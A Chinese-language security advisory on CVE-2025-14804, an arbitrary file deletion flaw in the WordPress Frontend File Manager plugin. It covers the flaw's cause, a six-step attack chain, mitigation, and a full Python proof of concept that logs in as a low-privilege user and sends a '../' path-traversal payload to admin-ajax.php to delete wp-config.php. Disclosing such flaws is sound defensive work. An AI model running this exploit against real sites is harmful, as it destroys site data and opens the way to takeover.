IPBUF安全漏洞报告
English
CVE-2025-14804 CVSS 7.7 高危

CVE-2025-14804 WordPress Frontend File Manager Plugin 任意文件删除漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-14804
漏洞类型
任意文件删除
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frontend File Manager WordPress Plugin

相关标签

任意文件删除路径遍历WordPress插件漏洞权限绕过Frontend File ManagerCVE-2025-14804高危漏洞WordPress安全

漏洞概述

CVE-2025-14804是WordPress平台下Frontend File Manager插件的一个高危安全漏洞。该插件在23.5版本之前存在路径遍历和权限验证缺陷,由于未对用户提交的路径参数进行充分验证,且未检查文件所有权,导致任何已认证用户(包括低权限的订阅者用户)可以利用此漏洞删除服务器上的任意文件。攻击者可以通过构造特殊的文件路径请求,绕过安全限制删除WordPress核心文件、配置文件或其他敏感数据,可能导致网站完全瘫痪或被完全控制。此漏洞无需用户交互即可利用,且可通过网络远程触发,对使用该插件的WordPress网站构成严重安全威胁。

技术细节

该漏洞源于Frontend File Manager插件在处理文件删除操作时存在两个关键安全问题:

1. **路径验证缺失**:插件接受用户提供的文件路径参数但未进行安全验证,攻击者可使用路径遍历技术(如使用../)访问Web根目录之外的文件或绕过目录限制。

2. **权限检查不足**:插件未正确验证当前用户对目标文件的操作权限,即使是非管理员的订阅者用户也能执行文件删除操作。这违反了最小权限原则,允许低权限用户执行高危操作。

攻击者利用此漏洞可以:删除wp-config.php导致网站配置重置、删除.htaccess文件破坏网站配置、删除主题和插件文件造成功能失效、删除其他用户上传的敏感文件。由于WordPress广泛使用文件作为数据存储方式,任意文件删除漏洞可能导致数据丢失、服务中断甚至getshell进一步控制服务器。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用的WordPress版本及Frontend File Manager插件版本,确认版本小于23.5
STEP 2
2. 账户获取
攻击者注册WordPress账户或利用已有低权限账户(如订阅者角色)获取有效会话凭证
STEP 3
3. 构造Payload
攻击者构造包含路径遍历序列(../)的恶意文件路径,目标是删除wp-config.php或其他敏感文件
STEP 4
4. 发送恶意请求
通过AJAX接口发送文件删除请求,利用插件缺失的路径验证和权限检查机制
STEP 5
5. 触发漏洞
服务器执行文件删除操作,攻击者成功删除任意文件
STEP 6
6. 后续利用
删除wp-config.php后重新访问网站触发配置重置,或删除关键文件造成DoS或进一步getshell

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import quote # CVE-2025-14804 PoC - Arbitrary File Deletion in Frontend File Manager Plugin # Requires authenticated user (subscriber role or higher) TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password" def get_auth_cookie(): """Authenticate and get WordPress session cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' in str(session.cookies) or response.status_code == 302: return session.cookies return None def delete_arbitrary_file(cookies, file_path): """Send file deletion request with path traversal payload""" delete_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Path traversal payload to delete arbitrary file payload = { 'action': 'fmfm_delete_file', 'path': file_path } headers = { 'X-Requested-With': 'XMLHttpRequest' } response = requests.post(delete_url, data=payload, cookies=cookies, headers=headers) return response def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-14804-poc.py <file_to_delete>") print("Example: python cve-2025-14804-poc.py ../../../wp-config.php") sys.exit(1) target_file = sys.argv[1] print(f"[*] Authenticating as {USERNAME}...") cookies = get_auth_cookie() if not cookies: print("[-] Authentication failed!") sys.exit(1) print("[+] Authentication successful!") print(f"[*] Attempting to delete: {target_file}") response = delete_arbitrary_file(cookies, target_file) if response.status_code == 200: print("[+] File deletion request sent successfully") print(f"[*] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") if __name__ == "__main__": main()

影响范围

Frontend File Manager Plugin < 23.5

防御指南

临时缓解措施
立即将Frontend File Manager插件升级到23.5或更高版本以修复此漏洞。如果暂时无法升级,可采取以下临时措施:1)禁用或删除该插件;2)撤销所有非管理员用户的文件操作权限;3)使用WAF规则阻止包含路径遍历特征(../)的请求;4)限制/wp-admin/admin-ajax.php的文件操作接口访问。建议管理员检查近期日志,排查是否存在异常文件删除行为,并做好网站备份以便及时恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表